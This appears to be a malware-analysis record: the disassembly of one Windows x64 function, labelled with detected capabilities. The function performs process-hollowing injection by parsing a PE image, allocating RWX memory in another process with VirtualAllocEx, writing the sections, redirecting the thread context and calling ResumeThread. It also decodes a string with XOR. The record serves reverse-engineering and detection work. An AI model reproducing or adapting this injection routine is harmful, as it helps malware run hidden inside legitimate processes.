Function at 0x140102b40
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header
Resolve function by parsing pe exports
Resume thread

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0xc8
lea rbp, [rsp + 0x100]
xorps xmm4, xmm4
movaps xmmword [rbp - 0x60], xmm4
xor eax, eax
mov qword [rbp - 0x50], rax
mov rsi, rcx
mov rdi, qword [rsi + 0x10]
mov rax, rdi
cmp word [rax], 0x5a4d
jne 0x140102b8c
movsxd rdx, dword [rax + 0x3c]
cmp word [rdi + rdx + 0x18], 0x20b
sete dl
movzx edx, dl
jmp 0x140102b8e
xor edx, edx
mov byte [0x14029a430], dl
xor ebx, ebx
xor r14d, r14d
cmp byte [0x14029a430], 0
je 0x140102bab
movsxd r14, dword [rax + 0x3c]
add r14, rdi
jmp 0x140102bb6
movsxd rbx, dword [rax + 0x3c]
add rbx, rdi
mov eax, dword [rbx]
jmp 0x140102bb9
mov eax, dword [r14]
cmp eax, 0x4550
jne 0x140103237
call fcn.140159920
cmp eax, 8
je 0x140102bd5
mov ecx, 0x40
jmp 0x140102bda
mov ecx, 0x60
call fcn.140103380
mov rdi, rax
call fcn.140159920
cmp eax, 8
je 0x140102bf3
mov ecx, 0x10
jmp 0x140102bf8
mov ecx, 0x18
movsxd rcx, ecx
call fcn.1400d9f90
mov qword [rbp - 0x40], rax
mov qword [rbp + 0x10], rsi
mov r15, qword [rsi + 8]
lea rcx, [0x1401830c0]
call fcn.140101a00
test rax, rax
jne 0x140102c29
lea rcx, [0x1401830c0]
call fcn.140101910
test rax, rax
jne 0x140102c33
xor r12d, r12d
jmp 0x140102c45
mov rcx, rax
lea rdx, [0x1401700b8]
call fcn.140102000
mov r12, rax
test r12, r12
je 0x140102f89
xor ecx, ecx
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rdi
mov rax, qword [rbp - 0x40]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], r12
mov rcx, r15
lea rdx, [0x1401684f8]
xor r8d, r8d
xor r9d, r9d
call fcn.140075330
test eax, eax
je 0x140102f89
test rdi, 0xffffffffffff0000
je 0x140102cc7
mov rcx, rdi
mov qword [rbp - 0x70], rcx
lea rcx, [rbp - 0xa0]
call fcn.140002c90
mov rcx, qword [rbp - 0x70]
call sub.KERNEL32.dll_LocalFree
lea rcx, [rbp - 0xa0]
call fcn.140002ce0
cmp byte [0x14029a430], 0
jne 0x140103140
mov edi, dword [rbx + 0x34]
mov rax, qword [rbp - 0x40]
mov r15, qword [rax]
mov r12, rax
call fcn.140159920
cmp eax, 8
je 0x140103149
mov ecx, 4
movsxd rcx, ecx
mov r12, qword [r12 + rcx]
mov rcx, r15
mov rdx, rdi
call fcn.1401033e0
test r15, r15
je 0x14010311a
test r12, r12
je 0x14010311a
movzx ecx, byte [0x14029a430]
test ecx, ecx
jne 0x140103153
mov r8d, dword [rbx + 0x50]
test ecx, ecx
jne 0x14010315c
mov r13d, dword [rbx + 0x54]
test ecx, ecx
jne 0x140103165
movzx edx, word [rbx + 6]
movzx eax, dx
mov dword [rbp - 0x44], eax
test ecx, ecx
jne 0x14010316f
mov r10d, dword [rbx + 0x28]
mov dword [rbp - 0x48], r10d
mov dword [rsp + 0x20], 0x40
mov rcx, r15
mov qword [rbp - 0x70], rcx
mov rdx, rdi
mov qword [rbp - 0x78], rdx
mov dword [rbp - 0x64], r8d
mov r9d, 0x3000
mov dword [rbp - 0x68], r9d
lea rcx, [rbp - 0xa0]
call fcn.140002c90
mov rcx, qword [rbp - 0x70]
mov rdx, qword [rbp - 0x78]
mov r8d, dword [rbp - 0x64]
mov r9d, dword [rbp - 0x68]
call sub.KERNEL32.dll_VirtualAllocEx
mov rsi, rax
lea rcx, [rbp - 0xa0]
call fcn.140002ce0
mov rdi, qword [rbp + 0x10]
mov r8, qword [rdi + 0x10]
xor ecx, ecx
mov dword [rbp - 0x50], ecx
lea rcx, [rbp - 0x50]
mov qword [rsp + 0x20], rcx
mov rcx, r15
mov rdx, rsi
mov r9d, r13d
call fcn.140103450
test eax, eax
jne 0x1401030f4
cmp byte [0x14029a430], 0
jne 0x140103178
add rbx, 0xf8
xor r14d, r14d
mov r13d, dword [rbp - 0x44]
test r13d, r13d
jle 0x140102e37
mov edx, dword [rbx + 0xc]
add rdx, rsi
mov r8, qword [rdi + 0x10]
mov ecx, dword [rbx + 0x14]
add r8, rcx
mov r9d, dword [rbx + 0x10]
xor ecx, ecx
mov dword [rbp - 0x50], ecx
lea rcx, [rbp - 0x50]
mov qword [rsp + 0x20], rcx
mov rcx, r15
call fcn.140103450
test eax, eax
jne 0x1401030ce
add rbx, 0x28
inc r14d
cmp r14d, r13d
jl 0x140102df9
cmp byte [0x14029a430], 0
jne 0x140103184
mov ecx, 0x2cc
movsxd rcx, ecx
call fcn.1400d9f90
mov rdi, rax
cmp byte [0x14029a430], 0
je 0x14010318e
mov dword [rdi + 0x30], 0x10001b
cmp byte [0x14029a430], 0
jne 0x140103199
mov rcx, r12
mov rdx, rdi
call fcn.140101c20
test eax, eax
je 0x1401030a8
mov ebx, dword [rdi + 0xa4]
mov r14, qword [rdi + 0x88]
mov rcx, rsi
call fcn.140081080
cmp byte [0x14029a430], 0
jne 0x1401031b1
add ebx, 8
movsxd rdx, ebx
mov r9d, dword [rax + 8]
xor ecx, ecx
mov qword [rbp - 0x60], rcx
mov dword [rbp - 0x50], ecx
mov qword [rbp - 0x60], rax
mov rcx, qword [rbp - 0x60]
cmp dword [rcx + 8], 0
jne 0x1401031ba
xor r8d, r8d
lea rcx, [rbp - 0x50]
mov qword [rsp + 0x20], rcx
mov rcx, r15
call fcn.140103450
xor ecx, ecx
test eax, eax
sete cl
xor edx, edx
mov qword [rbp - 0x60], rdx
test ecx, ecx
je 0x140102fd5
cmp byte [0x14029a430], 0
je 0x1401031d6
mov ecx, dword [rbp - 0x48]
add rcx, rsi
mov qword [rdi + 0x80], rcx
cmp byte [0x14029a430], 0
jne 0x1401031e8
mov rcx, r12
mov rdx, rdi
call fcn.140101b40
test eax, eax
je 0x140102faf
mov rcx, r12
mov qword [rbp - 0x78], rcx
lea rcx, [rbp - 0xa0]
call fcn.140002c90
mov rcx, qword [rbp - 0x78]
call sub.KERNEL32.dll_ResumeThread
lea rcx, [rbp - 0xa0]
call fcn.140002ce0
mov qword [rbp - 0x58], r15
jmp 0x140103216
lea rcx, [0x140191008]
call fcn.140002800
mov rsi, rax
mov rcx, rsi
lea rdx, [0x140171b28]
call fcn.14007f500
mov rcx, rsi
call fcn.140002df0
lea rcx, [0x140191008]
call fcn.140002800
mov rsi, rax
mov rcx, rsi
lea rdx, [0x1401717f0]
call fcn.14007f500
mov rcx, rsi
call fcn.140002df0
lea rcx, [0x140191008]
call fcn.140002800
mov rsi, rax
mov rcx, rsi
lea rdx, [0x140171b28]
call fcn.14007f500
mov rcx, rsi
call fcn.140002df0
lea rsi, [0x140168550]
lea rcx, [0x1401cd190]
mov edx, 0x37
call fcn.140002920
xor ecx, ecx
mov edx, ecx
lea r8, [0x140170a38]
movzx edx, word [r8 + rdx*2 + 0xc]
mov r8d, ecx
sar r8d, 0x1f
and r8d, 0xf
add r8d, ecx
and r8d, 0xfffffff0
mov r9d, ecx
sub r9d, r8d
cmp r9d, 0x10
jae 0x14010307d
mov r8d, ecx
sar r8d, 0x1f
and r8d, 0xf
add r8d, ecx
and r8d, 0xfffffff0
mov r9d, ecx
sub r9d, r8d
mov r8d, r9d
movzx r8d, word [rsi + r8*2 + 0xc]
xor edx, r8d
mov r8d, ecx
mov word [rax + r8*2 + 0x10], dx
inc ecx
cmp ecx, 0x37
jl 0x140102fef
mov rcx, rax
call fcn.14007a1a0
mov rsi, rax
lea rcx, [0x140191008]
call fcn.140002800
mov rdi, rax
mov rcx, rdi
mov rdx, rsi
call fcn.14007f500
mov rcx, rdi
call fcn.140002df0
call fcn.1400eb7f0
lea rcx, [0x140191008]
call fcn.140002800
mov rsi, rax
mov rcx, rsi
lea rdx, [0x1401718a0]
call fcn.14007f500
mov rcx, rsi
call fcn.140002df0
lea rcx, [0x140191008]
call fcn.140002800
mov rsi, rax
mov rcx, rsi
lea rdx, [0x140171910]
call fcn.14007f500
mov rcx, rsi
call fcn.140002df0
lea rcx, [0x140191008]
call fcn.140002800
mov rsi, rax
mov rcx, rsi
lea rdx, [0x140171be0]
call fcn.14007f500
mov rcx, rsi
call fcn.140002df0
lea rcx, [0x140191008]
call fcn.140002800
mov rsi, rax
mov rcx, rsi
lea rdx, [0x140171b78]
call fcn.14007f500
mov rcx, rsi
call fcn.140002df0
lea rcx, [0x140191008]
call fcn.140002800
mov rsi, rax
mov rcx, rsi
lea rdx, [0x140171838]
call fcn.14007f500
mov rcx, rsi
call fcn.140002df0
mov rdi, qword [r14 + 0x30]
jmp 0x140102cd7
mov ecx, 8
jmp 0x140102cf4
mov r8d, dword [r14 + 0x50]
jmp 0x140102d2b
mov r13d, dword [r14 + 0x54]
jmp 0x140102d37
movzx edx, word [r14 + 6]
jmp 0x140102d43
mov r10d, dword [r14 + 0x28]
jmp 0x140102d55
lea rbx, [r14 + 0x108]
jmp 0x140102ded
mov ecx, 0x4d0
jmp 0x140102e49
mov dword [rdi], 0x10002
jmp 0x140102e68
mov rcx, r12
mov rdx, rdi
call fcn.140101c90
test eax, eax
je 0x140103082
jmp 0x140102e88
lea rdx, [r14 + 0x10]
jmp 0x140102eb0
mov r8, qword [rbp - 0x60]
cmp dword [r8 + 8], 0
jbe 0x14010307d
mov r8, qword [rbp - 0x60]
add r8, 0x10
jmp 0x140102ed2
mov ecx, dword [rbp - 0x48]
add rcx, rsi
mov qword [rdi + 0xb0], rcx
jmp 0x140102f12
mov rcx, r12
mov rdx, rdi
call fcn.140101bb0
test eax, eax
je 0x140102f63
jmp 0x140102f32
mov rcx, rsp
call fcn.1401032bb
nop
mov rax, qword [rbp - 0x58]
add rsp, 0xc8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [0x140191008]
call fcn.140002800
mov rsi, rax
mov rcx, rsi
lea rdx, [0x140173710]
call fcn.14007f500
mov rcx, rsi
call fcn.140002df0
xor eax, eax
jmp 0x140103223